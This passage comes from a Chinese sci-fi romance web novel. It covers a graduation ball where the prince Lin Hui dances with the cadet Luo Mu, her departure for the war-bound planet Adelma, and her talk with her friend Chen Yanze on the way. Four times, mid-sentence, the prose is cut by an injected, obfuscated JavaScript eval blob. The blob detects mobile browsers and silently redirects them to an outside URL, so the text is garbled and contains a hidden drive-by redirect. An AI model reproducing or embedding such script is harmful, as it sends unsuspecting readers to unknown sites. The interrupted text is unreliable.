公爵老来得女,对她宠爱非常。因此这个二十一岁的女孩,完全没有继承她父亲的圆滑奸诈,她在众星捧月中长大,变得脑袋空空,愚蠢肤浅。纵然有着姣好外表和高贵家室,但一开口就俗不可耐,话题离不开妆容、舞会、追求者。熟悉兰尼的人都知道,她有限的脑容量根本无法支持任何深度的思考。 林晖厌恶她。他没必要喜欢她,这个女孩被宠坏了,理所当然认为世界上美好的一切都该属于自己。最要命的是她不见得多喜欢林晖,却执着地要把林晖追到手。 是,她是觉得林晖不解风情,为人处世冷冰冰,年纪又比她小,给不了恋爱的激情。但她又在乎林晖,因为优秀俊美的太子殿下是贵族女孩们向往的对象,谁得到他,谁就会成为交际圈的焦点。 兰尼·格林绝不能容忍这份荣耀落到别人头上,虚荣心驱使她在父亲的帮助下得到望渊军校的优秀毕业生称号,也对太子妃的头衔势在必得。 然而,这都没有影响她同时和五个风格迥异的美男子交往,纵情享乐。可见太子妃的称号虽然诱人,终究还是比不上眼前的快感。 她今天来之前就对朋友信誓旦旦地说一定要成为林晖的舞伴,当然,兰尼是否有真正的朋友这点需要存疑。总之她是这么宣言的。 公爵小姐为此大费周章,今天准备了一身黑色礼服。毫无疑问这身礼服也是格林家的专属裁衣师花大功夫做出来的,恰到好处地遮住了她上下身比例的缺陷。她就这样得意扬扬地出现在林晖面前,姿态骄傲得像个公主,信心十足。 这也怪不了她,毕竟她周围的人只会称赞小姐今天真美,谁看到你都会神魂颠倒。没人告诉她林晖根本不喜欢她,他们都说除了你谁还有资格做太子殿下的舞伴呢。 林晖压根没注意到她的到来,他早就习惯被众人簇拥着,但今天感到格外不耐。他身边的侍从礼貌地表示殿下只想和朋友待着,随后林晖就找个地方坐下,心不在焉地与人交谈。 和他说话的是首相的儿子的狄格特,一个长相漂亮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096865|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有着棕色头发和眼睛的青年。他正在开林晖的玩笑:“怎么没见到你的舞伴,不要告诉我受人欢迎的太子殿下还没找到舞伴。” “受人欢迎?我大概是比不上你。不用想也知道,今天你肯定会邀请起码十个女生跳舞。”林晖说。 “听你的口气,难道是想做个专一的人喽?”狄格特问。 “专一在古代是美德,现在却成为迂腐的代言词。”林晖嘲讽道,“托你们这些人的福,世上已经没人相信忠诚了。” “专一也好,忠诚也好,你在舞会上一定找不到它们。何必执着这些东西呢?我要是你,肯定会把一切抛之脑后,只管享受这种万众瞩目的感觉。你以前不是也很享受吗?” “也许曾经我是想欣赏他们的蠢态,顺带承担一下社交的责任。但我今天只是想跳支舞。” “真没想到你有一天会这么说!”狄格特吃惊道,“看来你一定选好舞伴了,她是谁?” “你想不到就是了。” 林晖垂下眼,思索今夜洛暮会是怎样的打扮。他惊讶地发现自己全然无法想象穿着礼服的洛暮是什么模样,她在林晖心中的形象极为稳定,无非是军装或者简单的上衣长裤。 他甚至想,哪怕洛暮穿今天上午那身军礼服来都完全可以。对于她来说不存在合不合适,只要她站在那里,一切都会合理起来。 狄格特还在旁边喋喋不休,似乎对探寻林晖神秘舞伴的事情极有兴趣,他凑近林晖,低声说:“我只希望你那位舞伴能准时到来,没看到兰尼·格林已经对你虎视眈眈了吗?” 果然,不远处的沙发上,兰尼·格林正拨弄她耳边的卷发,时不时向他们这边投来捕捉猎物的目光。她脑后那头火红色的卷发真是显眼,它们被高高地扎起,像瀑布一样倾泻下来。 没人知道兰尼·格林的头发究竟是什么颜色。但最近换的这个发色确实不太适合她。她的肤色有点黑,红色显得皮肤更加黯淡。 林晖一直注视着大门,漠然道:“没关系,我们都知道,她真正看上的人是你,亲爱的狄格特。我只是公爵小姐满足虚荣心的工具。你今天这身紫色礼服很棒,只要你向她走去,她一瞬间就会把太子殿下抛之脑后。” 他说完就冷冷一笑。 狄格特被噎得无话可说,良久才道:“好,好。哼,舞会马上就要开始了,但愿你的美人能让格林小姐知难而退。” “这就不牢你费心,我也祝愿你那十位美人能让格林小姐知难而退。” 狄格特气呼呼地站起来,准备往舞池走去。他发现兰尼的眼神确实紧紧黏在他身上,仿佛在说:太子殿下之后就是你。 如果兰尼·格林能选择的话,她一定会让林晖做自己的大房,体面又不生事,供起来最合适不过;而狄格特做多情体贴的二房,风趣幽默,能侍候得她舒舒服服。 这个认知叫狄格特毛骨悚然。他又退回到林晖身边,太子殿下依然不动声色地坐在那里,双目平视前方,绿色的眼睛沉静如湖水,与喧嚣的大厅格格不入。 离舞会正式开始还有两分钟。乐队已经就位,年轻人们纷纷挽住自己的舞伴,迫不及待地迈入舞池。 早就有女孩远远地向狄格特做手势,示意他过去。而兰尼也猛地站起来,高傲地抬起下巴,向这里走来。沉重的雕花木门缓缓关上,预示着舞会即将开始,不速之客禁止入内。 林晖面无表情地端坐着,仿佛远古时期的化石。狄格特幽幽地说:“看来你是……” 正在合拢的大门忽然停住了。 4. 绿宝石的舞会(四) 正在合拢的大门忽然停住了。 一只手稳稳地摁在门上,硬生生止住它关闭的趋势。随后那人曲起手腕,用力一推,大门吱呀一声向内重新打开,凄冷的夜色自门外涌入,风吹来庭院里紫藤萝盛开时淡淡的芳香。人们不自觉顺着香气的来源,去看那道出现在门口的影子。 “天呐,天呐。”望着门口站立的人,狄格特小声地惊叹道。 林晖起身看向来人,面上有种泰山崩于顶而色不变的镇定。只有他自己知道在目光触及对方时,他的呼吸微微一滞,似乎不可置信。 真奇怪啊,那个人是洛暮吗?是那个裹着严肃的军装,坐在教室最后一排似笑非笑的洛暮吗? 她在今夜变成了一个谁也不认识的女孩。穿着深蓝色的公主裙,上半身有银色的细闪,看上去如同落满星辰的夜空。而自腰间到裙摆处,缀满浅白色的勿忘我花,花枝交错,藤曼蜿蜒,细细地勾勒出裙摆蓬松的弧度。 礼服很适合她,露出女孩漂亮的肩和锁骨。她戴着一条蓝宝石项链,宝石在白皙的肌肤上闪烁幽蓝的光泽。那头黑发终于披了下来,几乎要落到腰间。林晖没想到她的头发竟然有这么长。 洛暮显然一眼就看见了他,那瞬间她笑起来,漆黑的眼睛映着舞厅明黄的光,里面像是有流星滑过。她扬起头,明明脚上是银色的高跟鞋,迈出的步伐却像平时穿军靴那样坚定有力,在乳白色的大理石砖上击打出清脆的哒哒声。她发间点缀的数只银蝴蝶随着她的动作微微颤动,似乎振翅欲飞。 此刻礼堂内悬挂的铜钟忽然敲响,三声浑厚低沉的钟鸣回荡在礼堂内。如同一个信号,礼堂内骤然响起华丽悠扬的管弦乐,乐手们准时地奏起今夜的舞曲。人群回过神了,欢笑声再度充斥礼堂,男孩们蹬着有力的步伐,搂住自己的舞伴在舞池里忘情旋转。 狄格特看向兰尼·格林,公爵小姐显然不敢相信有人敢截走她的目标,她愣在原地,神色惊愕。他顿觉不忍,叹口气走到兰尼身边,鞠躬邀请:“格林小姐,我能请你跳支舞吗?” 兰尼·格林一下子心花怒放,早把之前立下的誓言抛到九霄云外,她喜滋滋地搭上狄格特的肩膀,旋着优雅的步子迈进舞池。 “来得还算准时吧,我可是算好了时间,肯定能在八点整走进大厅。”洛暮在林晖面前笔直地站定,笑着问。 “相当精准,看得出来你一分一秒也不想耽误。今天舍得摘下你的陨石吊坠了?”林晖问。他注意到洛暮锁骨间的那枚深邃迷人的蓝宝石,而洛暮平日里都是戴着一颗朴素的陨石,让林晖印象深刻。 “暂时冷落一下它。至于精准,那是为了让你充分享受社交的乐趣,我来得早岂不是很扫兴。但看到你之后我就追悔莫及,应该早早来的。”洛暮目不转睛地看着林晖,神色惊叹,“你今晚真好看,我都要目眩神迷了。” 她这话一点没错。脱去军装的林晖换上了王室的礼服。如果说军校里的林晖还有点学生的气质,那他现在就完完全全做回了那个尊贵凛然的太子殿下,锐利的眼神足以让所有女孩脸红。 林晖皱皱眉头,不自然地说:“我之前怎么没发现,你竟然是个注重皮囊的人。” “我不注重自己的,但很看重别人的。如果你长得没这么让我称心如意,我肯定就不和你做朋友了。”洛暮用力地点点头。 “真没想到我在你心中还算得上朋友。”林晖嘲道。 “原来你不这么想啊,那就叫校友好了。林校友?”洛暮笑嘻嘻地说,打量林晖胸口的绿宝石胸针。这枚打造成蔷薇款式的胸针精美别致,显然是出自大师之手,卖出去的话大概可以一辈子衣食无忧。 “听听你说得都是什么话。”林晖察觉到她的目光,低头看看自己的胸针,问:“你很喜欢?” “还好吧。它的颜色很漂亮,跟你的眼睛一样。我挺喜欢绿色的。”洛暮坦然地看着林晖的眼睛,似乎是在仔细欣赏它们的颜色。但她很快移开视线,又盯着那只宝石胸针,“生机勃勃,让人看着心情很好。” “我感觉出来你今天心情很好了。”林晖也轻轻别开眼睛,他说这话时脸上微微泛起红晕。 “奇怪,你怎么能感觉出来,很明显吗?因为我在笑吗,可我无时无刻不在笑啊。”洛暮好奇地问。 “你心情很好的时候,语气是不一样的。” 林晖说着就向她伸出手,平生罕见地有几分紧张,面上却仍是淡淡的:“忘了问一件事,你会跳舞吗?” “你猜。”洛暮看着林晖的手,庆幸他今天戴了手套。她慢慢地把手放上去,对方的温暖透过薄薄的丝质手套传递给她。林晖有力地握住她的手。 她心中突然微微一震,抬头笑道:“原来是这个感觉。” 林晖一言不发,只是紧紧握着洛暮的手。他看见过这双手拿枪的样子,有力地扣动扳机正中目标,也看见过它们飞速敲打键盘,十指纤长灵动。现在它们中的一只握在他的掌心,指甲圆润,中指和拇指那里有几处茧子,大概是写字和握枪时磨出来的。他发现原来女孩的手很小,可以被他轻松包裹住。 洛暮也不说话,她觉得礼堂内有些热,但明明还没到盛夏。活泼的舞曲在她的耳边回响,遮盖住来自胸腔嚣张的心跳。她察觉到有什么将要失控,立刻出声打断沉默:“我猜你很擅长跳舞。” 林晖忽然像从梦中惊醒一样,他看着洛暮发间颤动的银色蝴蝶,说:“至少比你强,我知道你经常逃礼仪课。” “不计入总分的选修课,逃了也就逃了。” “那想必礼仪课上教的交际舞你也是一窍不通。”林晖熟练地讥嘲道。他被刚才体验到的感情震慑住了,现在才勉强找回他们之间维持平衡的技巧。 “既然你料事如神,怎么还敢邀请我做舞伴。”洛暮低声说。 林晖扯出一个冷冷的、讥讽的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096866|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说:“大概是其他人都非常无趣,同他们在一起就像是被埋在坟墓里。只有你还稍微像个活人。” “原来你是这么看我的,实在受宠若惊,我是不是还得感谢你的青眼相看?不过有一点你猜错了。我挺擅长跳舞的,毕竟礼仪课的期末考试要考这个,我跟着弗吉尼亚大大钻研了几天,舞技甚至可以称得上精湛。” “这么说今天我能有幸见识一下了。”林晖说。 “自然,不过我讨厌舞池。人们干嘛要设计出这种形式,如果真要跳舞的话,我大概会选择在花园或者喷泉边吧。” “看不出你还颇具浪漫主义情怀。” “天呐,浪漫。浪漫这个词,它已经被世人解读得乱七八糟。现在呢,一天换三个女朋友叫浪漫,酗酒□□神幻剂也叫浪漫。听到你正确地使用它,我都要感动得落泪了。” “我感觉你今晚是真的特别高兴。”林晖放开洛暮的手,径直向外走去。 高兴吗?洛暮心想。我难道真的就有那么高兴? 林晖已经走出几步了,他停下来,似乎在等洛暮跟上。她蹬蹬追上去,轻快有力,难以想象脚上穿的是双细跟的高跟鞋。洛暮问:“去哪里?” “去践行你的浪漫。”林晖说。 她调侃道:“践行是一回事,你这样大摇大摆离场是另一回事。” “奇怪。”林晖模仿洛暮平时质疑的口吻,“你这种不把规矩放在眼里的人,居然反过来要求我了。据我所知,你逃掉的课比你上的课多得多吧。” “谁说的,大部分课我还是会去上的,虽然主打陪伴。真是造谣一张嘴,辟谣跑断腿。”洛暮反驳道。 林晖带着她从暗门来到花园,看得出来他对这里非常熟悉。眼下正是紫藤萝开放的时节,花园中央伫立着巨大的花架,浅紫色的花串从上面垂落,在夜里散发出难以言喻的幽香。 洛暮走近花架,踮起脚去抚摸那看上去沉甸甸的花串,说:“我家楼下也种了一株紫藤,还有槐树,晚上我经常在底下乘凉。哎,好久没回去了。” “想回就直接回去好了。”林晖说。 他不理解这种思乡之情。因为他不觉得星际航行是多么困难的事情,他不知道从阿纳斯塔西亚到左拉的航费需要花掉洛暮一学期的生活费。在林晖的世界里没有钱这个概念,平时侍从给他递上每月数额惊人的账单,他往往直接签字,不会多看一眼。就像他的父亲看到战争伤亡人数,也只是漠然地点点头。那不过是个数字罢了。 洛暮闻言笑道:“不愧是你说出来的话,何不食肉糜乎?” 林晖自然听出其中的戏谑之意,报之冷冷一笑。外面的空气清新爽神,他觉得在舞厅时心中的那股慌乱躁动也随之冷却了,林晖不去探究它们为何诞生。 “跳舞吗?向你展示一下我惊人的舞技。”洛暮说。 “只怕你会让我大跌眼镜。”林晖平静地回答。 5. 绿宝石的舞会(五) 他牵住洛暮的手,舞厅里正好奏起《银色月光》,透过半开的窗户,优雅华美的小提琴声在静谧的夜里传出很远。他们于紫藤花架旁起舞,洛暮搭在他肩上的手有些用力,神色凝重,显然是不常跳舞,对每个步伐都严阵以待,不允许有丝毫差错。 林晖觉得有趣,他见多了洛暮胜券在握的模样,头一次看到她对一件事这么生疏。这个人真好笑,哪有跳舞时一个劲盯着脚下看的。 随着小圆舞曲的响起,洛暮似乎对舞步熟悉了一些,她这时候才敢开口说话:“我个人觉得自己的舞技还是很好的。” “真不错。”林晖嘲笑道。 “不管你怎么说,都不影响我这么觉得。今天我发挥得很好,步子一个没错。要知道我上次跳舞还是为了期末考试。” 林晖怔了怔,说:“我其实真的觉得……跳得很好。” “是吗,我这下要称赞你的眼光了。” 洛暮微微一笑。她裙子上的银沙闪烁似星光,柔美温情的乐曲像雾气般笼罩住他们。今天的夜色真好,叫人想起很多很多早已逝去的如水年华。 “我是一个失败的渔夫,打捞过去,两手空空。网里只有鳞片,晶莹破碎。”洛暮轻轻地念道,她问,“你听过这首诗吗?” 林晖当然没听过。这不能怪他,洛暮读的书太多太杂。她念的诗也许是上一个文明留下的残余。帝国对那个文明知之甚少,它大概是一夜间暴卒的,留下很多美丽又毫无价值的诗歌散文,现代人很少钻研它们。所以说洛暮真是个奇怪的家伙,她对一个死去的文明那么感兴趣。 “实在遗憾,它多美啊。虽然幼稚,但很适合毕业季对不对。这支舞曲总让我想起它。它叫什么名字?我说这支曲子。”洛暮问。 “银色月光,一个阿德尔玛乐师从前文明那里得来的灵感。”林晖说,他参加的舞会太多了,自然对经典曲目烂熟于心。 “阿德尔玛。”洛暮重复一遍,又低低感叹道,“其实前文明的很多作品都提到过月亮,可惜我从没见过。” “大概是他们编撰的,帝国没有叫月亮的天体。” 接下来他们谁也没有说话。 溶溶星光下,紫藤萝微微摇曳,地面花影婆娑,洛暮随舞曲踏着步子,她现在游刃有余起来了,完全不用注意脚下。她抬起头,正迎上林晖专注的眼神,两两对视,他们不约而同地错开目光。 一曲终了,洛暮率先松手,行了个标准的谢幕礼。她退后两步问:“怎么样,很不错吧。” “完美的谢幕。你还要再跳吗?”林晖垂下手。 “不了,你还想跳吗?” “我无所谓。” “那就聊会天吧。我眼下还有点时间。”洛暮说。 林晖觉得惊奇,这一向是他的惯用语,没想到今天能从洛暮口中听到:“怎么,洛暮少尉竟然还是个大忙人。” 洛暮出奇地没有否认:“算是吧,至少今天是。” “我能听听您究竟在忙什么军国大事吗?”林晖讥讽道。 洛暮笑了,她说:“还记得白天你问我怎么从礼堂出来的吗?” “记得,你终于要揭晓谜底了吗?” “对。很简单,我给卫兵出示了军部调令书,告诉他们我要赶今天的星际航班,可又实在想看看毕业典礼,所以只好中途离开。幸运的是他们都很通情达理,就放我走掉,还说了很多祝福的话,听着心里暖暖的。” 林晖顿感不妙:“调令书?你要去哪?” “阿德尔玛。我们刚刚还说到它了,世界上的巧合真多。能诞生出这么美的乐曲的地方,想必很值得去吧。” “你疯了,那里马上要打仗。” “所以我才要去,阿德尔玛很缺人,我只是向他们的军备部递交了一份申请,没过多久就得到回复,说我们期待您的到来,英勇无畏的年轻人。”洛暮微笑道。 林晖满面阴霾,他死死地盯着洛暮,从小身居高位养成的威仪展露无疑,但他知道这影响不了洛暮。他不明白自己心中为什么生出一种被背叛的暴怒,明明他们之间什么都不存在。他更不明白洛暮此刻为什么还在笑,送死就那么有意思吗? “我要听你的理由,别想轻易糊弄过去。”林晖说,他全然忽略自己其实没有任何立场问洛暮索要答案,最奇怪的是洛暮居然也没意识到这点,她正思索如何回答对方的质问。 花园的温度正在下降,昼夜温差显示出了它的威力。刚刚还温柔拂面的夜风忽然变得凶猛起来,树叶呼呼作响,紫藤花串不住摇晃,一时间树影花影凌乱,地面上只有两道年轻人的影子还岿然不动。这像是要下雨的前兆,可预报明明说今天是个晴夜,星空灿烂。气象部难道都是唬人的吗? “就如你所说的那样,我要把阿纳斯塔西亚甩在身后。”洛暮说。 这句话一出口,她的气势瞬间变了,神色孤峭目光坚定,明明外表还是那个浪漫漂亮的少女,但骨子里无法掩饰的固执让这个形象变得矛盾重重。她又露出笑容,正是林晖所熟悉的那种傲然的、不惧一切的笑。 “为什么非要把阿纳斯塔西亚甩在身后,我们完全可以做阿纳斯塔西亚的主人。”林晖说。 “是的,你可以这么说。因为你心里阿纳斯塔西亚未来是属于你的,但它不会属于我。不够强大的人,注定只能成为它的奴隶。阿纳斯塔西亚太大了,我在这里容易被淹没。” “洛暮,我不知道你竟然对自己如此不自信。我依旧看不出你有什么非去阿德尔玛不可的理由。阿纳斯塔西亚能给你的,远比那个鬼地方多得多。在这里凭借你的能力,足以青云直上。” “是青云直上,还是蹉跎一生?就算如你所说,有朝一日我会得到高官厚禄,前呼后拥风光无限。可那些对我来说有什么意义呢?我一生中最有创造力的年华已经交付给了阿纳斯塔西亚,被这座浮夸的、一成不变的城市吞掉了。而我生来是该属于宇宙的。”洛暮不容置疑地说。 这时候的她还年轻,对世界的认识没有形成完整的体系。但是她富有远见的大脑已经冥冥中意识到,世界即将天翻地覆,继续停留在阿纳斯塔西亚这座贵族掌控的城市,她永远得不到她想要的。 洛暮眼底的决心无疑深深撼动了林晖,他知道一切已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096867|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经不可挽回,巨大的无力感头一次笼罩住他。他以为有人能陪他一起冲破牢笼,结果那个人根本就没把牢笼放在眼里,她以一种无畏的姿态跳出去了,不管外面的是野兽还是深渊。 他生来的骄傲不准自己妥协,可为什么连嘲讽都变得无力了:“你还真是志存高远,淡泊名利。” “我称不上淡泊名利,不过随你怎么说。”洛暮不为所动。 “你知道现在你看上去有种毅然赴死的决绝感吗?” “说得真夸张。但我确实签好了遗体回收协议,万一我死在那,会有人把我送回左拉的。” “果然是深思熟虑。” “对,为此我还交了一笔费用,想想真是心疼。”洛暮说,她这时抬手看了看手环。 “想必是你命定的时间已经到了。”林晖见状讥讽道。 洛暮放下手,微笑道:“你突然格外幽默,但确实说对了。临走前送你一句忠告可好?这也是我今天才悟出来的。如果你还愿意听的话。” “讲吧,就当是提前听取你的遗言。” 洛暮轻轻叹口气,她现在的语气没有那么强硬了,但依旧坚决,她说:“不要优柔寡断,要敢于下决心。否则只会不上不下,成不了大事。” “就这么简单?不符合你的风格吧。”林晖冷笑道。 “对,就这么简单。我们可以道别了。”洛暮说。 她说完就站在原地,似乎是在等林晖的那声再见。但林晖只是看着她,一言不发。她颇觉遗憾,这场告别的气氛并不如她所想的那么融洽。随即洛暮利落地转身,准备离去。 “那就去你的阿德尔玛吧,为你的宇宙跌得粉身碎骨!”林晖忽然暴怒道。他鲜少失态,但他今天被洛暮刺痛了。 洛暮停住脚步。 林晖死死地盯着洛暮的背影,她看上去真单薄,在风里像一支苇草。他想起前文明有位哲人说过,人不过是一根会思想的苇草,在宇宙中脆弱得过分,什么都能致他们于死地。 可总有一些东西没法被毁灭,譬如思想,譬如美德和……决心。可恨的决心。 假如她回头,我就…… 林晖心想。 但洛暮并未回头,她把垂落到眼前遮住视线的长发猛地向后一拨,扬起头直视前方,义无反顾地离开了。 林晖面无表情地站在花园中,舞厅里已经奏起新的乐曲,但他突然听不清了。一切变得格外陌生,他的耳畔好像只剩下呼呼作响的风声。他从来没觉得夜晚可以这样寂寥,从未有过的失落与震荡涌上心头。不远处另一个热闹的世界正在隆隆作响,仅仅一墙之隔,推开门他就能重获新生。 但林晖没有回去,他恍恍惚惚地走到藤萝花架下,躺到木质的长椅上。他闭上眼睛想要短暂地平复心绪,可洛暮的形象反复出现在闭眼后黑色的幕布上,画面闪烁无序,犹如失控的电影。他没法平静,只要他还在呼吸就会想起洛暮,想起她尖锐的话语,她淡淡的轻视一切的笑容。 他听见自己的心跳,那颗不受控制的心,最初的死寂过后它无可抑制地狂跳起来,仿佛紫藤萝一夜间在风中七零八落。 6. 离群的双星(一) 一个小时后,洛暮登上悬浮车,她已经换回平日里的短袖长裤。 陈砚泽伸手接过她的行李箱,放在后座的角落。跟她的名字一样,她是一个标准东方长相的女孩,在科学院工作,是里面最年轻的研究员。 “没落什么东西吧?”陈砚泽问。 “放心,我离开时检查了一遍,寝室空空如也,小偷看到都要流眼泪。”洛暮说。 陈砚泽笑了笑,说:“刚刚突然刮很大的风,我还担心会下雨。” “不会的。天气预报说是晴夜,只是刮风而已。虽说雨夜很有气氛,但我不希望看到,这会影响我们私奔的效率。” “到阿德尔玛后不要总是讲笑话,这关乎你作为长官的形象。”陈砚泽严肃地说,嘴角却带着笑。 “胡说,我从来没讲过笑话。” “是吗,可是我觉得你每句话都很好笑。参加舞会感觉如何?” “非常倒霉,光顾着跳舞,居然忘记里面还有甜点这回事了,完全没吃上。离开后才追悔莫及,总不能再跑回去吃吧。” “没关系,我带了点心。”陈砚泽说着拿出一个红色描金的纸盒,打开后里面放了四枚造型精美的糕点,她伸手点着它们,“荷花酥、桃花酥、龙井酥、枣花酥。都是你上次来实验室给我带的。我觉得很好吃,这次顺便买了几盒带到路上。” “很好,这证明我们的品味是一致的。就不客气啦。” 洛暮伸手在半空中犹豫一下,拿起荷花酥。她咬掉一小半,桂花和枣泥的香味在嘴里弥漫开来,甜丝丝的。其实这是她第一次吃,这个牌子的糕点不便宜,她当时没舍得给自己买。 “好吃。”洛暮说。 “大胆吃,我买了很多。”陈砚泽说,“顺便容我问一句,舞跳得怎么样?在我的印象里林晖可是个小帅哥,你今晚没有流连忘返,定力很值得称赞啊。” 洛暮差点被呛死,她咳嗽起来,接过陈砚泽递来的水喝了两口,问:“喂喂喂,怎么又提他?你心里我就是这种见色忘友的人吗?” “我好奇啊。八卦一下不行吗,你真一点都不动心?” “难说,他的眼睛是真的很好看啊。”洛暮叹口气。 “想来还是有点小遗憾吧,离开阿纳斯塔西亚以后可能就见不到了。”陈砚泽说。 “应该是有点,但人要懂得取舍。”洛暮扯过湿巾擦擦手,撑着下巴望向窗外。悬浮车正向星际航站飞去,在那里她们将要登上星际列车,进行一段漫长的航行。她忽然问道:“砚泽你知道吗?在前文明的书里有个叫月亮的天体。” “当然,我虽然对前文明钻研得没你这么深,但一些基本知识还是知道的。”陈砚泽说。 “那我继续说了。在前文明的夜空里,当月亮出来的时候,星星的光芒就会黯淡,所以有月朗星稀这个说法。但月亮说白了只是颗卫星,光芒都是来自太阳的。而那些被它衬托得灰头土脸的星星,其实比月亮夺目耀眼得多,不过是离得太远,看起来才格外渺小。” 洛暮一只手摁在胸口,轻轻地说:“如果留在阿纳斯塔西亚,我们只会成为月亮的陪衬。不管有多舍不得,我们都得走。离开它我们才会成为星星,就算是流星也无所谓。” “成为流星也无所谓。”陈砚泽说,她紧紧地握住洛暮的手,“不愧是我的好朋友,知道我当初为什么找你做朋友吗?” “难道不是因为我请你吃了早饭,你对我感恩戴德吗?那个学期你来我们学校交换,本来一点交集都没有。结果大清早在宿舍楼下遇见你,顺手请你吃了个早饭。我们才算正式认识。” “鬼扯!我怎么会因为这种理由和你成为好朋友,不过你确实是第一个请我吃早饭的人,因为平时不会有人起那么早。” “我不信,那些男生为了追你是不惜一切代价的。只要你招招手,我相信每天早晨都会有一堆人排在门口请你吃早饭。”洛暮说。 她的话一点都不夸张,如果说洛暮看着还像个没长大的孩子,那比她大四岁的陈砚泽生来就有种女人味,尽管她的名字听上去坚硬极了。走在路上,总有男生羞答答地来要陈砚泽的联系方式,而洛暮这么多年只遇见过来问路的,数量还不少。 “哼,那群人只会讨论我的身材很好脸长得不错,灵魂乏味得可怜,和他们说一句话都是在浪费我的时间。不对,话题都扯到哪去了,你肯定想不到吧,我当年想和你做朋友是因为我看了你写的文章。” 洛暮震悚道:“不可能,我从没写过文章。” “别装傻,你的网名是‘公竟渡河’,文章发在论坛的一个角落。我想办法黑进系统,好在那只是个学生自建的论坛,比较容易操作。然后我通过ID知道公竟渡河就是你,洛暮。” “你?你!我自己都不记得写过什么,那种黑历史就不要提了吧。” “你终于知道尴尬了?我还以为洛暮这辈子都不会尴尬呢。”陈砚泽饶有兴趣地打量她的表情。 “别这样,别这样。我害怕你了。”洛暮连连摆手。 “没事,我其实也记不全了。只记得那篇文章写得很热血很中二,真没想到你还有那个时候。其中一段你是这么写的‘我这一生,要么变得伟大,要么死在伟大的路上’。” 洛暮脸红了:“我求你不要再提它了。” “为什么不提,这可是我们友谊的开端。我当时看到就震撼了,没想到望渊还有这种和我想到一块去的人,我无论如何也要找到她。结果我找到后发现她就是前两天请我吃早饭的人,简直是命运的巧合。所以说,我们相遇、成为朋友、再到一起去阿德尔玛,都是命中注定。” “你你你,怎么突然这么抒情,我有点受不了了。我发现你总是在抒情方面格外主动,自愧不如,自愧不如。”洛暮赶紧岔开话题,“你白天不是说要告诉我一件有趣的事吗,快说。” “现在想想也没那么有趣,不过还是可以讲给你听。小暮你知道我还有个弟弟吧。” “记得啊,你经常跟我吐槽来着,说他被宠坏了无法无天。” “是的,我从没见过那么讨厌的小孩。我弟弟比我小十六岁,马上要读小学,我父母想让他进部属小学。但他们的地位不够啊,人家部属小学起码也得是有权有势的贵族或者机要大臣吧。我爸一个小官员,我妈生了我弟弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096868|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后就是家庭主妇,你说说怎么可能进得去,不知道哪里来的自信。” “父母对于自己的孩子总是抱有格外大的期望。没准他们给你弟弟设想的道路是通过部属小学结识各路达官显贵,左右逢源一路官运亨达最后位极人臣权倾天下。”洛暮说。 她们一起发出大笑,陈砚泽更是笑得眼泪都要出来了,她点点头说:“我感觉他们还真是这么想的。所以进不去怎么办呢?自然是托关系找门路,最后找到一个招生部的人,人家给他们开了个数。你猜猜是多少?” “五十万?七十万?给个提示吧。”洛暮说。 陈砚泽伸出手,比了个“1”的手势。 “一百万?”洛暮问。 “一千万!” “这也太黑了吧!帝国的人均年收入才十万左右吧,不吃不喝干一百年,上个小学?” “我家还是稍微富裕一点的,大概不吃不喝干二十年吧。总之他们没死心,准备凑出来这笔钱。”陈砚泽说。 “好嘛,区区二十年不吃不喝。忍一忍节衣缩食风餐露宿,苦日子都在后面呢。”洛暮忍不住吐槽道。 “要真是这样还好,问题是得赶紧凑够这一千万。于是他们就想着怎么搞到这笔钱,哎这下子突然灵光一现,不是还有个女儿吗。我们虽然没钱,但是可以卖女儿啊。之前有个子爵一直在追我,他说可以出这笔钱,条件的话你们都知道。”陈砚泽淡淡道。 洛暮一下子沉默了。 